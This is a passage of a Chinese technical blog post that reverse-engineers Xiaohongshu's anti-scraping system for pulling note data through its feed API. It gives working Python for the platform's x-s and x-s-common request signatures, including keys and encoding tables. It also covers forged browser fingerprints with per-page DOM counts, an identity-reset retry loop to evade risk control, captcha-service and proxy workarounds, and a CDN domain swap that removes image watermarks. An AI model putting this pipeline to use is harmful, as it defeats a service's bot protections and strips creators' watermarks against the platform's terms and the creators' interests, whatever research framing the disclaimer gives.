    part6  = list((1293).to_bytes(4, &#x27;little&#x27;))                       # window 属性数
    part7  = list(len(uri.encode()).to_bytes(4, &#x27;little&#x27;))
    part8  = [b ^ (random_num &amp; 255) for b in bytes.fromhex(md5_url)][:8]
    part9  = [len(a1)] + list(a1.encode())                             # 53
    part10 = [len(&#x27;xhs-pc-web&#x27;)] + list(b&#x27;xhs-pc-web&#x27;)                 # 11
    part11 = [1, (random_num &amp; 255) ^ 115,
              249, 83, 103, 103, 201, 181, 131, 99, 94, 7, 68, 250, 132, 21]

    raw = part1 + part2 + part3 + part4 + part5 + part6 + part7 \
        + part8 + part9 + part10 + part11
    encrypted = [i ^ j for i, j in zip(raw, XOR_KEY_124)]               # 固定 key
    return &quot;mns0101_&quot; + base58_encode(bytes(encrypted), CUSTOM_BASE58_TABLE)
</code></pre>
<p>几个容易搞错的细节：</p><ul><li><code>part3</code> 里先对 timestamp 的字节自校验一把再全体 XOR 41，校验没过（比如自己随手给的 timestamp 不对）服务端会直接 461。</li><li><code>loadts</code> 不是笔记接口的时间戳，而是&quot;本次签名&quot;的时间戳——签名前先 <code>loadts = str(int(time.time() * 1000))</code> 写回 cookie jar，让服务端 echo 回来的 cookie 里永远带一个最新值；然后把这个毫秒数作为 <code>part4</code> 拼进数组。换句话说每次签名都重算，和 <code>x-t</code> 只差一两毫秒（但不是同一个值，不能混用）。</li><li><code>1293</code> 是&quot;Chrome 里 <code>Object.getOwnPropertyNames(window).length</code>&quot;的硬编码值。Chromium 版本迭代会微调这个数，偶尔得对着线上浏览器实测更新一把。</li><li><code>XOR_KEY_124</code> 是 124 字节的常量表（<code>[175, 87, 43, 149, ...]</code>），从 JS 里一把拖出来用。</li><li><code>part9</code> 长度是动态的——<code>len(a1)</code> + a1 bytes，但 a1 始终截到 52 字节，所以 <code>part9</code> 一直 53 字节，整个数组长度稳定在 124。</li></ul><p>外层再包一层：</p><pre class="language-python lang-python"><code class="language-python lang-python">p = {
    &#x27;x0&#x27;: LANGUAGE_VERSION, &#x27;x1&#x27;: &#x27;xhs-pc-web&#x27;, &#x27;x2&#x27;: &#x27;Windows&#x27;,
    &#x27;x3&#x27;: _encrypt_headers_x3(...),
    &#x27;x4&#x27;: &#x27;&#x27; if data is None else &#x27;object&#x27;,
}
payload = url_quote(json.dumps(p, separators=(&#x27;,&#x27;, &#x27;:&#x27;)))
return &quot;XYS_&quot; + custom_base64(utf8_to_bytes(payload), CUSTOM_BASE64_TABLE)
</code></pre>
<p><code>CUSTOM_BASE64_TABLE</code> 是小红书自己的码表 <code>ZmserbBoHQtNP+wOcza/LpngG8yJq42KWYj0DSfdikx3VT16IlUAFM97hECvuRX5</code>——标准 <code>base64</code> 是解不出来的，得实现一版按码表查表的 encoder。</p><h3 id="x-s-commonb1---mrc-">x-s-common：b1 指纹 + MRC 校验</h3><p><code>x-s-common</code> 的主体是个字典，真正难的是其中的 <code>b1</code> 字段——指纹的子集经过 ARC4 加密再做一次自定义 Base64：</p><pre class="language-python lang-python"><code class="language-python lang-python">def _encrypt_b1(fp):
    # 从 80+ 字段指纹里挑 18 个（x33~x39 + x42~x46 + x48~x52 + x82）
    subset = {k: fp[k] for k in (
        &#x27;x33&#x27;,&#x27;x34&#x27;,&#x27;x35&#x27;,&#x27;x36&#x27;,&#x27;x37&#x27;,&#x27;x38&#x27;,&#x27;x39&#x27;,
        &#x27;x42&#x27;,&#x27;x43&#x27;,&#x27;x44&#x27;,&#x27;x45&#x27;,&#x27;x46&#x27;,&#x27;x48&#x27;,&#x27;x49&#x27;,&#x27;x50&#x27;,&#x27;x51&#x27;,&#x27;x52&#x27;,&#x27;x82&#x27;,
    )}
    raw = json.dumps(subset, separators=(&#x27;,&#x27;, &#x27;:&#x27;), ensure_ascii=False).encode()
    cipher = ARC4.new(b&#x27;xhswebmplfbt&#x27;)
    ct = cipher.encrypt(raw).decode(&#x27;latin1&#x27;)
    # URL 编码后再手动拆百分号序列，目的是把非 ASCII 拆成单字节
    encoded = url_quote(ct, safe=&quot;!*&#x27;()~_-&quot;)
    b = []
    for c in encoded.split(&#x27;%&#x27;)[1:]:
        chars = list(c)
        b.append(int(&#x27;&#x27;.join(chars[:2]), 16))
        [b.append(ord(j)) for j in chars[2:]]
    return custom_base64(bytes(b), CUSTOM_BASE64_TABLE)
</code></pre>
<p>外层字典：</p><pre class="language-python lang-python"><code class="language-python lang-python">source = {
    &#x27;s0&#x27;: 5,                       # GET_PLAT_FROM_CODE（Windows 走 other 分支 = 5）
    &#x27;s1&#x27;: &#x27;&#x27;,
    &#x27;x0&#x27;: &#x27;1&#x27;,                     # localStorage.getItem(&quot;b1b1&quot;)，写死
    &#x27;x1&#x27;: LANGUAGE_VERSION,        # 4.3.5
    &#x27;x2&#x27;: &#x27;Windows&#x27;,
    &#x27;x3&#x27;: &#x27;xhs-pc-web&#x27;,
    &#x27;x4&#x27;: ARTIFACT_VERSION,        # 6.7.0
    &#x27;x5&#x27;: cookie_a1,
    &#x27;x6&#x27;: &#x27;&#x27;, &#x27;x7&#x27;: &#x27;&#x27;,            # 旧版是 XS / XT，现在写死
    &#x27;x8&#x27;: b1,
    &#x27;x9&#x27;: diy_mrc(&#x27;&#x27; + &#x27;&#x27; + b1),   # 自实现 CRC32，校验 b1
    &#x27;x10&#x27;: fp[&#x27;x39&#x27;],              # 调用计数器，写死也能过
    &#x27;x11&#x27;: &#x27;normal&#x27;,
}
return custom_base64(utf8_bytes(url_quote(json.dumps(source, separators=(&#x27;,&#x27;, &#x27;:&#x27;), ensure_ascii=False))),
                     CUSTOM_BASE64_TABLE)
</code></pre>
<p><code>diy_mrc</code> 是改版 CRC32：表按标准多项式 <code>0xedb88320</code> 生成，但最后一步会对累加值做 JS 风格的 int32 wraparound（<code>num &gt;= 2**31 ? num % 2**32 : num - 2**32</code>）。Python 里不做这个 wraparound 就对不上 JS 的有符号整型行为，服务端会把 <code>x9</code> 判成非法。</p><h3 id="">其他三个头</h3><p>剩下三个头相对朴素：</p><pre class="language-python lang-python"><code class="language-python lang-python">x_b3_traceid   = &#x27;&#x27;.join(random.choices(&#x27;abcdef0123456789&#x27;, k=16))
x_t            = str(int(time.time() * 1000))

# x-xray 里有个 seq，每次调用自增——怀疑跟 x-s-common 里的 x10 是一类行为计数
seq = initial_seq + call_count
part1 = hex(int(time.time() * 1000) &lt;&lt; 23 | seq)[2:].zfill(16)
part2 = hex((random_u32() &lt;&lt; 32) | random_u32())[2:].zfill(16)
x_xray_traceid = part1 + part2
</code></pre>
<p>一个常见误区是&quot;签名反正会换字节码，不如复用别人维护的实现&quot;。实测下来只对一半：VM <strong>指令集</strong>不换，换的只是字节码里若干操作的常量（124 字节 XOR key、Base58/Base64 码表、<code>part11</code> 尾巴、<code>part1</code> magic、websectiga 里那几个 <code>d[92]/d[93]/675</code> 偏移）。一旦把静态实现写通了，下次服务端换 key，diff 一下新旧 <code>vendor-dynamic.xxx.js</code> 十几分钟就能定位到新常量替换掉；反倒是靠第三方实现时，它不更新你就得等。自己逆一遍最大的收获是知道&quot;<strong>哪些常量会变、哪些结构不变</strong>&quot;——结构这一层几乎从来不变。</p><h3 id="-context-">指纹 context 是动态的</h3><p>容易被忽视的细节是指纹<strong>不是一次性的</strong>。<code>x-s-common</code> 里的 <code>b1</code> 每次都拿当前 <code>fp</code> 重算，而 <code>fp</code> 会根据 <code>storage_state</code>（页面状态）和 <code>page_context</code>（当前 URL 和 referer）更新——比如调笔记详情要设成 <code>explore/{note_id}</code>，调首页推荐设成首页。服务端看到的&quot;你在哪个页面&quot;和请求本身对不上，风控直接拉闸。调 feed 之前要先把 <code>page_context</code> 切到 <code>explore/{note_id}</code> 再算签名，这一步忘了就 461 verifyType=301。</p><p><code>page_context</code> 根据 URL 里的路径映射成 <code>page_type</code>：</p><pre class="language-python lang-python"><code class="language-python lang-python">def normalize_page_context(ctx: dict | None) -&gt; dict:
    out = {
        &quot;location&quot;: &quot;https://www.xiaohongshu.com/explore&quot;,
        &quot;referer&quot;: &quot;https://www.xiaohongshu.com/&quot;,
        &quot;page_type&quot;: &quot;explore&quot;,
    }
    if ctx:
        out.update({k: v for k, v in ctx.items() if v is not None})
    path = urlparse(out[&quot;location&quot;]).path or &quot;/&quot;
    if &quot;/search_result&quot; in path:
        out[&quot;page_type&quot;] = &quot;search&quot;
    elif &quot;/user/profile&quot; in path:
        out[&quot;page_type&quot;] = &quot;user_profile&quot;
    elif &quot;/explore/&quot; in path or &quot;noteId=&quot; in out[&quot;location&quot;]:
        out[&quot;page_type&quot;] = &quot;note_detail&quot;
    else:
        out[&quot;page_type&quot;] = &quot;explore&quot;
    return out
</code></pre>
<p>指纹本身是 80+ 字段的字典 <code>fp = {&quot;x1&quot;: ua, &quot;x2&quot;: &quot;false&quot;, &quot;x3&quot;: &quot;zh-CN&quot;, &quot;x4&quot;: 24, ...}</code>——UA、语言、色深、设备内存、CPU、屏幕分辨率（<code>&quot;1920;1080&quot;</code>）、可用区域（<code>&quot;1920;1040&quot;</code>）、时区（<code>-480</code>，<code>&quot;Asia/Shanghai&quot;</code>）、GPU vendor/renderer、plugins、canvas 指纹（<code>x22</code>）、voice 哈希（<code>x53</code>）、WebGL 扩展哈希（<code>x56</code>）、cookie 拷贝（<code>x57</code>）、DOM 相关计数（<code>x58</code> div / <code>x59</code> resource / <code>x61</code> window.* 属性数 / <code>x73</code> DOM 节点数）、<code>x66</code> 里的 <code>{referer, location, frame}</code>、<code>x69</code> 的 <code>{prefix}|{window_props}|{script_count}</code> 字符串、以及一些写死的 magic 字段（<code>x30</code> <code>&quot;swf object not loaded&quot;</code>、<code>x45</code> <code>&quot;__SEC_CAV__1-1-1-1-1|__SEC_WSA__|&quot;</code> 等）。整个 dict 的作用就是描述一次&quot;浏览器在某个 URL 上某一刻的状态&quot;。</p><p>每次调 encrypted 接口前会<strong>重算 <code>fp</code> 里受当前请求影响的字段</strong>：</p><pre class="language-python lang-python"><code class="language-python lang-python"># 关键：受请求变化的字段
fp[&quot;x39&quot;] = str(storage[&quot;sc&quot;])                       # session counter，每请求 +1
fp[&quot;x44&quot;] = str(int(time.time()*1000))               # 当前毫秒
fp[&quot;x57&quot;] = &quot;; &quot;.join(f&quot;{k}={v}&quot; for k, v in cookies.items())  # 当前 cookie 快照
fp[&quot;x58&quot;] = str(div_count)                           # 当前 page_type 下的 DOM div 数
fp[&quot;x59&quot;] = str(resource_count)
fp[&quot;x61&quot;] = str(window_props)
fp[&quot;x66&quot;] = {&quot;referer&quot;: ctx[&quot;referer&quot;], &quot;location&quot;: ctx[&quot;location&quot;], &quot;frame&quot;: 0}
fp[&quot;x69&quot;] = f&quot;{prefix}|{window_props}|{script_count}&quot;
fp[&quot;x73&quot;] = str(dom_count)
</code></pre>
<p><code>x58</code>/<code>x59</code>/<code>x73</code> 在不同 <code>page_type</code> 上有不同的 baseline：<code>explore</code> 是 <code>(204, 14, 1240)</code>，<code>note_detail</code> 加 <code>(+36, +12, +420)</code>，<code>search</code> 加 <code>(+18, +8, +180)</code>，<code>user_profile</code> 加 <code>(+22, +10, +260)</code>。这些 baseline 是对着真实浏览器在各页面抓出来的值，微调一两个数不影响风控，但整个量级和 <code>page_type</code> 必须对得上。</p><h3 id="feed-">Feed 请求</h3><p><code>/api/sns/web/v1/feed</code> 的 POST body 很简单：</p><pre class="language-python lang-python"><code class="language-python lang-python">data = {
    &quot;source_note_id&quot;: note_id,
    &quot;image_formats&quot;: [&quot;jpg&quot;, &quot;webp&quot;, &quot;avif&quot;],
    &quot;extra&quot;: {&quot;need_body_topic&quot;: &quot;1&quot;},
    &quot;xsec_source&quot;: &quot;pc_feed&quot;,               # 从分享 URL 的 query 取
    &quot;xsec_token&quot;: xsec_token,
}
</code></pre>
<p>签名输入是 <code>(a1, loadts, &quot;/api/sns/web/v1/feed&quot;, None, data)</code>——把 <code>data</code> JSON 序列化（<code>separators=(&#x27;,&#x27;, &#x27;:&#x27;)</code>）直接拼到 URI 后面一起 MD5。返回体形如：</p><pre class="language-json lang-json"><code class="language-json lang-json">{
  &quot;code&quot;: 0, &quot;success&quot;: true, &quot;msg&quot;: &quot;成功&quot;,
  &quot;data&quot;: {
    &quot;items&quot;: [{
      &quot;id&quot;: &quot;...&quot;, &quot;model_type&quot;: &quot;note&quot;,
      &quot;note_card&quot;: {
        &quot;note_id&quot;: &quot;...&quot;, &quot;type&quot;: &quot;video&quot;,
        &quot;title&quot;: &quot;...&quot;, &quot;desc&quot;: &quot;...&quot;,
        &quot;user&quot;: {&quot;user_id&quot;: &quot;...&quot;, &quot;nickname&quot;: &quot;...&quot;},
        &quot;interact_info&quot;: {&quot;liked_count&quot;: &quot;7.9万&quot;, &quot;comment_count&quot;: &quot;3419&quot;, ...},
        &quot;image_list&quot;: [{&quot;url_default&quot;: &quot;...&quot;, &quot;info_list&quot;: [...], &quot;live_photo&quot;: true}],
        &quot;video&quot;: {&quot;media&quot;: {&quot;stream&quot;: {&quot;h264&quot;: [{&quot;master_url&quot;: &quot;...&quot;, &quot;backup_urls&quot;: [...]}]}}},
        &quot;tag_list&quot;: [{&quot;id&quot;: &quot;...&quot;, &quot;name&quot;: &quot;...&quot;, &quot;type&quot;: &quot;topic&quot;}]
      }
    }]
  }
}
</code></pre>
<p>拿 <code>items[0].note_card</code> 下游处理。</p><h3 id="-session-">首发 session 质量与自动重试</h3><p>即便签名、cookie、bootstrap 都对，新建 session 首次打 feed 仍有概率返回外壳成功但 data 为空的响应（<code>success=True</code> 但 <code>items</code> 空）。这不是代码问题，是服务端对&quot;全新身份首次访问&quot;的概率性降权。同一套代码同一个 note，这次返回空、重建一次 session 再打就有数据。</p><p>识别标志：<code>success=True</code> 且 <code>items</code> 为空。处理方式是自动重试循环——删掉持久化的设备状态（<code>device_state.json</code>）、重新跑一遍 9 步 bootstrap 换一套身份、再打 feed。单次调用里最多试 3 轮。冷启动单次命中大约 70-90%，加 retry 能拉到 95%+：</p><pre class="language-python lang-python"><code class="language-python lang-python">MAX_ATTEMPTS = 3
note_card = {}
for attempt in range(1, MAX_ATTEMPTS + 1):
    if attempt &gt; 1:
        DEVICE_STATE_FILE.unlink(missing_ok=True)     # 删持久化设备状态
        session = await create_xhs_session()           # 重跑 9 步 bootstrap 换一套身份
    try:
        resp = await session.apis.note.note_detail(note_id, xsec_token)
        payload = await resp.json(content_type=None)
        items = (payload.get(&quot;data&quot;) or {}).get(&quot;items&quot;) or []
        if items and (items[0].get(&quot;note_card&quot;) or {}):
            note_card = items[0][&quot;note_card&quot;]
            break                                      # 成功
    except NeedCaptchaVerify as e:
        # 216 语义验证码 / 102 滑块验证；捕获后让下一轮重置身份重试
        last_err = f&quot;attempt={attempt} verify={e.details.get(&#x27;verifyType&#x27;)}&quot;
    finally:
        await session.close_session()
</code></pre>
<p>返回结构里还带两个可观测字段 <code>feed_attempts</code>（试了几次）和 <code>feed_recovered_on_attempt</code>（成功那次是第几轮），一眼能看出是不是靠重试救回来的——不走 feed 的路线恒为 <code>1/1</code>，只有 API 路线会动。</p><h3 id="">实测</h3><p><strong>图片笔记</strong>：</p><pre class=""><code class="">note_id      : 6955f790000000001f0042e2
title        : 𝐰𝐞𝐜𝐡𝐚𝐭｜情侣头像
author       : zhang / 5cd3f6730000000012033a83
content_type : image
images       : 12 张（每张带 infoList 多分辨率、url_pre、url_default、url）
stats        : liked=857  comment=22  collect=290  share=200
publish      : 2026-01-01T12:26:56
feed_attempts=2  feed_recovered_on_attempt=2   ← 本次首发抖动，第二轮捞回
</code></pre>
<p><strong>视频笔记</strong>：</p><pre class=""><code class="">note_id      : 69e3114b000000002202916e
title        : 仲夏可可很萌！
author       : 用眼泪把你复习一遍 / 6690bced000000000f0348e9
content_type : video
videos       : 6 条（master URL + 多条 CDN 备用）
stats        : liked=1209  comment=154  collect=160  share=42
publish      : 2026-04-18T13:06:19
</code></pre>
<p><strong>实况笔记</strong>：</p><pre class=""><code class="">note_id      : 69e1594b000000000b010eaf
title        : 🇫🇷尼斯老城遇到杨超越董思成
author       : 喵了个汪 / 6161f5460000000002022ced
content_type : live_photo
images       : 3 张静态图
videos       : 6 条（每张静态图配一段 motion，stream.h264 结构规整）
stats        : liked=7.9万  comment=3419  collect=5392  share=5024   ← 可读格式
publish      : 2026-04-17T05:48:59
</code></pre>
<p>路线三的字段粒度最细：视频多条备用 URL、实况 motion 流结构规整、统计数是可读的 <code>7.9万</code>。代价是每次要跑完整 9 步 bootstrap 再在本地算一次 JS 签名、签名里的常量随服务端版本可能要跟更新、偶发需要重试。</p><h2 id="">三条路线合到一起</h2><p>实际跑起来，三条路线是按数据质量排序叠一起的：</p><pre class=""><code class="">step 1  /v1/feed + 自算 x-s / x-s-common        → source=feed_api         最干净
step 2  PC 会话打开分享页，读 __INITIAL_STATE__  → source=initial_state    完整笔记
step 3  读 &lt;meta og:*&gt; 标签                       → source=meta_fallback    只剩标题和封面
</code></pre>
<p>每次输出带一个 <code>extract_source</code> 字段，一眼就能看出这次数据是哪一档。</p><p>路线一是另一个入口——只要图、顺手拿点元数据的场景走它，不建 PC session，整体开销是完整路径的十分之一。把三条测试链接在三条路线上的结果拉到一起看，<strong>三条路线在&quot;能拿什么数据&quot;上其实几乎等价，真正的区别是建立连接的成本</strong>：</p><table><thead><tr><th> 路线 </th><th> session 成本 </th><th> 签名成本 </th><th> 数据鲜度 </th><th> 评论内容 </th><th> 图片水印 </th></tr></thead><tbody><tr><td> 移动端 UA + CDN 替换 </td><td> 无 </td><td> 无 </td><td> SSR 快照 </td><td> 拿不到 </td><td> <code>!h5_1080jpg</code> 带（换域名解） </td></tr><tr><td> PC 会话 + <code>__INITIAL_STATE__</code> </td><td> 9 步 bootstrap </td><td> 无 </td><td> 实时 </td><td> 需另打接口 </td><td> 默认不带 </td></tr><tr><td> PC 会话 + <code>/v1/feed</code> API </td><td> 9 步 bootstrap + 指纹 </td><td> 自算 x-s / x-s-common </td><td> 实时 </td><td> 一并返回 </td><td> 默认不带 </td></tr></tbody></table><p>统一输出结构（三条路线都归到这一个 shape 方便下游）：</p><pre class="language-python lang-python"><code class="language-python lang-python">{
    &quot;source&quot;: &quot;mobile | html | api&quot;,
    &quot;extract_source&quot;: &quot;feed_api | initial_state | meta_fallback&quot;,
    &quot;original_url&quot;: &quot;...&quot;,
    &quot;final_url&quot;: &quot;...&quot;,
    &quot;note_id&quot;: &quot;...&quot;,
    &quot;xsec_token&quot;: &quot;...&quot;,
    &quot;title&quot;: &quot;...&quot;, &quot;content&quot;: &quot;...&quot;,
    &quot;content_type&quot;: &quot;image | video | live_photo&quot;,
    &quot;author&quot;: {&quot;name&quot;: &quot;...&quot;, &quot;user_id&quot;: &quot;...&quot;},
    &quot;stats&quot;: {&quot;liked&quot;: &quot;...&quot;, &quot;comment&quot;: &quot;...&quot;, &quot;collect&quot;: &quot;...&quot;, &quot;share&quot;: &quot;...&quot;},
    &quot;topics&quot;: [&quot;...&quot;],
    &quot;publish_time_ms&quot;: 0, &quot;publish_time_iso&quot;: &quot;...&quot;,
    &quot;images&quot;: [{&quot;index&quot;, &quot;id&quot;, &quot;url&quot;, &quot;raw_url&quot;, &quot;live_photo&quot;}],
    &quot;videos&quot;: [&quot;...&quot;],
    &quot;live_photos&quot;: [{&quot;index&quot;, &quot;image_url&quot;, &quot;video_url&quot;}],
    &quot;feed_attempts&quot;: 1,
    &quot;feed_recovered_on_attempt&quot;: 1,
}
</code></pre>
<h2 id="">图片变体谱系</h2><p>三条路线的实测下载结果放一起看，虽然 image_id 完全一致，CDN 给的&quot;默认变体&quot;差别不小：</p><table><thead><tr><th> 来源 </th><th> URL 后缀 </th><th> 大小 </th><th> 水印 </th></tr></thead><tbody><tr><td> 移动端 HTML（<code>!h5_1080jpg</code>） </td><td> 缩放到 1080，jpg </td><td> ~77 KB </td><td> <strong>带</strong> </td></tr><tr><td> 桌面 HTML <code>__INITIAL_STATE__</code>（<code>!nd_dft_wlteh_jpg_3</code>） </td><td> 默认处理，jpg </td><td> ~147 KB </td><td> 不带 </td></tr><tr><td> API <code>/v1/feed</code>（<code>!nd_dft_wlteh_webp_3</code>） </td><td> 默认处理，webp </td><td> ~42 KB </td><td> 不带 </td></tr><tr><td> 换 <code>sns-img-qc.xhscdn.com/</code> </td><td> 无后缀、无签名 </td><td> ~147 KB </td><td> 不带 </td></tr></tbody></table><p>几条值得记下来的规律：</p><ul><li><strong>水印是特定后缀变体 <code>!h5_1080jpg</code> 的特性，不是 <code>sns-webpic-qc</code> 这个域名的特性</strong>。同一域名下的 <code>!nd_dft_wlteh_*</code> 变体默认不加水印。</li><li>桌面 HTML 给的 jpg 变体跟裸原图几乎同大小（147KB vs 147KB），说明那条变体是近无损的；换域名在这条路线上<strong>不是必须</strong>。</li><li>API 给的 webp 变体才是真的小（42KB），体积优化占了主导。要原图得换域名。</li><li>三条路线的 <code>image_id</code> 完全一致。所以只要知道任意一条路线给的 URL，都能通过&quot;跳过 date 和 sign、保留 <code>image_id</code>、换域名&quot;拿到任意其他变体（包括无水印原图）。</li></ul><h2 id="">排障顺序：链路坏了从哪一层查起</h2><p>链路挂了的时候，最怕的是从&quot;最后一步&quot;往回猜。正确的方向是从最前面的、最便宜的检查往后推，每一层都有具体的信号：</p><p><strong>第 1 层：入口参数</strong></p><p>先确认 <code>note_id</code> 和 <code>xsec_token</code> 解析对了——特别是 <code>xsec_token</code> 尾部的 <code>=</code> 有没有被吃掉。排查方法：打印 resolve 完的 <code>note_id</code> 和 <code>xsec_token</code>，用它们直接 <code>quote</code> 之后手工拼一个 <code>explore/{note_id}?xsec_token=...</code> URL 在浏览器里打开。能看到笔记就说明入口参数没问题。</p><p><strong>第 2 层：版本号</strong></p><p>打到这一层的典型症状是 <code>shield/webprofile</code> 返回 <code>471 verifyType=290</code>（<code>&quot;当前版本过低&quot;</code>）。排查：看当前 <code>ARTIFACT_VERSION</code> / <code>LANGUAGE_VERSION</code> 跟从线上 <code>vendor-dynamic.xxx.js</code> 抽出来的是不是一样；不一样就手动同步一次再重跑。</p><p><strong>第 3 层：Bootstrap</strong></p><p>9 步任一步挂了，后面全是连锁反应。排查：每一步都 print 出状态码和关键 cookie 是否写入（<code>websectiga</code> / <code>sec_poison_id</code> / <code>gid</code> / <code>acw_tc</code> / <code>web_session</code>）。典型病灶：</p><ul><li>6、7 两步 <code>scripting</code> 的 type 参数错了 → <code>websectiga</code> 解不出来</li><li><code>profileData</code> 里的 fingerprint 被 JSON encoder 转义了 non-ASCII → webprofile 401 / 461</li><li>activate 之前 cookie jar 不干净 → 拿不到 web_session，或拿到的是错误前缀</li></ul><p><strong>第 4 层：签名（路线三专属）</strong></p><p>feed 返回 461 时看 header 里的 <code>Verifytype</code>：</p><table><thead><tr><th> 现象 </th><th> 阶段 </th><th> 含义 </th><th> 对策 </th></tr></thead><tbody><tr><td> <code>461 verifyType=216</code> </td><td> <code>/v1/feed</code> </td><td> 签名无效或 JSVMP 字节码换了 </td><td> 对齐新常量 / 重新解字节码 </td></tr><tr><td> <code>461 verifyType=301</code> </td><td> <code>/v1/feed</code> </td><td> session 质量不够或 <code>page_context</code> 不匹配 </td><td> 重置设备状态，切对 page_type </td></tr><tr><td> <code>461 verifyType=102</code> </td><td> <code>/v1/feed</code> </td><td> 触发滑块验证 </td><td> 人工过或挂验证码服务 </td></tr><tr><td> <code>461 verifyType=216</code> + HTML </td><td> 分享页 HTML </td><td> 语义验证码（选图点字） </td><td> 解析 theme/grid，调专门分支 </td></tr><tr><td> <code>code=0 success=true data={}</code> </td><td> <code>/v1/feed</code> </td><td> 软风控：外壳成功但 data 被抽空 </td><td> 先查 <code>xsec_token</code> 末尾 <code>=</code> 是否被截断；否则重置设备状态重试 </td></tr><tr><td> <code>SSLError / UNEXPECTED_EOF</code> </td><td> 任意 </td><td> TLS 指纹被识别或网络抖动 </td><td> 重试，换代理 </td></tr><tr><td> 被重定向到 <code>/login</code> </td><td> HTML 分享页 </td><td> session 过期或游客态被收回 </td><td> 清设备状态，重新激活 </td></tr></tbody></table><p>特别要警惕 <code>code=0 data={}</code>。它长得一切正常，实际上什么都没返回，很容易骗过粗糙的成功判断。</p><p><strong>第 5 层：HTML 强提取（路线二）</strong></p><p>如果 feed 持续挂、但 HTML 分享页能打开，退到路线二检查 <code>__INITIAL_STATE__</code> 是否能抠出来。典型病灶是前面讲的&quot;等号两边空格消失&quot;的 marker regression——症状是 <code>extract_source</code> 一直落到 <code>meta_fallback</code>，标题正文还在但作者/图片/时间全空。这不是站点砍能力，是本地解析器回归。</p><p><strong>第 6 层：移动端兜底（路线一）</strong></p><p>PC 两条都波动时用移动端路线当最后的验证：如果这条也出不来数据，大概率是笔记本身被删或者风控直接拉黑了这个出口 IP；如果这条能出基础字段，说明内容还活着，只是 PC 这边状态不干净，重置 session 重来。</p><h2 id="">已证实、推断、不要再神化</h2><p>做下来攒了不少经验，区分一下这三类免得后人走回头路。</p><p><strong>已证实</strong>：</p><ul><li><code>xsec_token</code> 尾部 <code>=</code> 被截断会导致 <code>/v1/feed</code> 出现 <code>code=0 success=true data={}</code></li><li><code>window.__INITIAL_STATE__</code> marker 写死会导致 HTML 完整提取整条退化到 <code>meta_fallback</code></li><li><code>/v1/feed</code> 当前存在首发失败、二次重建 session 后恢复的真实波动</li><li><code>web_session</code> 是服务端签发的，本地无论怎么拼都换不到&quot;有效但服务端没见过&quot;的值</li></ul><p><strong>高可信推断</strong>：</p><ul><li>session 质量（cookie 完整度 + 指纹一致性 + page_context 匹配）会显著影响 Route C 首发成功率</li><li>持久化的&quot;稳定设备态&quot;比完全随机新设备态更像真实浏览器，通过率更高</li><li>JSVMP VM 指令集长期稳定，换的主要是字节码里的常量——意味着自己逆一遍后的维护成本其实可接受</li></ul><p><strong>不要再神化</strong>：</p><ul><li>&quot;<code>web_session</code> 是 03 前缀就一定不行、04 前缀就一定可以&quot; —— 不成立。03 对公开数据足够用，04 只在关注流 / 私信这些接口上才必要。</li><li>&quot;只要补上某个 header 就一定能过 feed&quot; —— 不成立。feed 的成败是 session 质量、cookie 组合、指纹 context、时机波动综合结果。</li><li>&quot;路线一只能拿图&quot; —— 不成立。移动端 HTML 里实际散落着大部分字段，散点 regex 就能扫出来；评论正文确实拿不到，但别的都能要。</li><li>&quot;水印是 <code>sns-webpic-qc</code> 域名的特性&quot; —— 不成立。水印是 <code>!h5_1080jpg</code> 这个处理后缀的特性，同域名的 <code>!nd_dft_wlteh_*</code> 变体默认不带水印。</li></ul><h2 id="">小红书的反爬长什么样</h2><p>把三条路线叠起来看，大致能画出小红书的防护层级：</p><table><thead><tr><th> 层级 </th><th> 机制 </th><th> 说明 </th></tr></thead><tbody><tr><td> 1 </td><td> xsec_token </td><td> URL 级别的防盗链令牌，绑定会话，别被末尾的 <code>=</code> 坑到 </td></tr><tr><td> 2 </td><td> JS Cookie 生成 </td><td> a1/webId/websectiga/gid 等由 JS 运行时生成 </td></tr><tr><td> 3 </td><td> 浏览器指纹 </td><td> 80+ 字段的设备指纹，DES 加密上报 </td></tr><tr><td> 4 </td><td> 请求签名 x-s </td><td> JSVMP 虚拟机执行，定期更换字节码常量 </td></tr><tr><td> 5 </td><td> TLS 指纹 + UA/client hints </td><td> UA 和 sec-ch-ua 不一致直接识别 </td></tr><tr><td> 6 </td><td> 版本校验 </td><td> <code>ARTIFACT_VERSION</code> 过期直接 471/290 </td></tr><tr><td> 7 </td><td> page_context 一致性 </td><td> 请求 URL 和 referer/location 对不上触发 301 </td></tr><tr><td> 8 </td><td> 语义验证码 </td><td> 216 型，要识别图片里的主题和网格 </td></tr><tr><td> 9 </td><td> 行为分析 </td><td> 频率、轨迹、时序等综合风控 </td></tr></tbody></table><p>第 4 层是硬骨头，但前面 8 层加起来其实已经卡掉了 99% 的脚本，大部分人连到第 9 层的门都没摸到。JSVMP 把签名算法编译成自定义字节码，VM 指令集基本稳定、换的是字节码里的常量（XOR key、码表、magic 字节等）——所以一次逆通之后维护只是 diff 新旧 <code>vendor-dynamic.js</code> 抓常量的事。真正每天要跟服务端博弈的反而是 session 质量：cookie 下发、版本号同步、指纹一致性，这些才是每次请求都在变的。</p><h2 id="">免责声明</h2><p>本文仅记录个人在技术学习过程中的探索和思考，用于安全研究和教育目的。文中涉及的所有技术分析均针对公开可访问的页面和网络请求，未涉及任何非授权访问、数据批量抓取或商业用途。请遵守相关平台的服务条款和当地法律法规，不要将文中内容用于侵犯他人合法权益的场景。</p><h2 id="">后言</h2><p>三条路线从&quot;裸 HTTP&quot;到&quot;完整 Web 会话加官方 API&quot;跨度挺大，但真正花时间的从来不是签名算法本身，而是 session 的质量——UA 和 client hints 要不要对齐、bootstrap 能不能跑完、<code>web_session</code> 拿到的是 03 还是 04、<code>page_context</code> 对不对应当前请求。签名算法一次写完就能用很久，session 质量是每次请求都要跟服务端博弈的日常工作。</p><p>另一个观察是，最贵的那条路（路线三）和最便宜的那条路（路线一）在&quot;能拿什么数据&quot;上差别并不大——两者返回的字段差异主要在评论正文、视频多备用 URL、可读格式统计数这三块。分层 fallback 把它们叠在一起，把昂贵路径的代价摊薄，同时用 <code>extract_source</code> 字段显式标记每次走到了哪一档，出问题不用手动猜。</p><p><code>sns-webpic-qc</code> 和 <code>sns-img-qc</code> 这对 CDN 域名大概是整个系统里最适合作为收尾的例子。前者走签名路径，按 URL 后缀决定出图规格——加不加水印、分辨率、编码格式都藏在后缀里；后者按裸 <code>image_id</code> 直接给原图，不签名，也没有后缀概念。两个域名共用同一套 <code>image_id</code> 命名空间——知道了一张图在 webpic-qc 上的 id，在 img-qc 拿原图是免费的。正是这点让移动端分享页里那个 <code>!h5_1080jpg</code> 的水印版本可以被轻松绕过：不需要知道它怎么算签名，只要保留 image_id 